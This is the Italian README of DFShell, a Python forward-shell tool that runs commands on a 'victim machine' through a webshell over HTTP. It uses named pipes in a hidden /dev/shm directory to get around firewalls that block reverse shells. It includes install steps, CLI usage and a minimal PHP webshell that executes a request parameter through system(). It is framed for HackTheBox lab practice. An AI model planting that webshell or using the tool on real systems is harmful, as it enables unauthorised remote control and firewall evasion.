
Strumento di forward shell basato su Python che crea una shell interattiva simile a TTY su HTTP utilizzando pipe con nome, consentendo l'esecuzione di comandi su target protetti da firewall senza connessioni di rete persistenti.
██████╗ ███████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██║
██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Forward Shell di D3Ext è uno script python3 che utilizza mkfifo per simulare una shell nella macchina vittima. Crea una directory nascosta in /dev/shm/.fs/ dove vengono memorizzati i fifo. Puoi persino simulare una TTY tramite la webshell.
Questa forward shell crea una shell che accetta comandi tramite una Named Pipe (mkfifo) e restituisce l'output in un file. In questo modo la shell non richiede una connessione di rete persistente, quindi puoi stabilire una TTY adeguata dietro un firewall che blocca le reverse/bind shell.
Installa dal sorgente
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt
Installa con pip
pip3 install dfshell
DFShell ha una varietà di parametri CLI per migliorare la configurazione della forward shell.
Pannello di aiuto
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
D3Ext's Forward Shell - Enhanced forward shell with integrated commands
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
-p PARAMETER, --parameter PARAMETER
parameter of the webshell to execute commands (i.e. cmd)
-t TIMEOUT, --timeout TIMEOUT
timeout of requests that execute commands (default 20s)
--path PATH path in which to create named pipes (default /dev/shm/.fs)
-v VERBOSE, --verbose VERBOSE
print more information
Invia richieste GET all'URL fornito, quindi la webshell dovrebbe essere qualcosa come:
<?php
if(isset($_REQUEST['cmd']))
{
system($_REQUEST['cmd']);
}
?>
Testato su Parrot OS con un server Apache
Se vuoi testare questo strumento in ambienti controllati, ecco un elenco di macchine HackTheBox in cui vengono applicate regole firewall sul server web, quindi la forward shell è un'ottima alternativa per passare direttamente all'escalation dei privilegi.
Grazie a @ippsec per questa fantastica tecnica
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/
Vedi CONTRIBUTING.md
Vedi CHANGELOG.md
Questo progetto è sotto licenza MIT
Copyright © 2023, D3Ext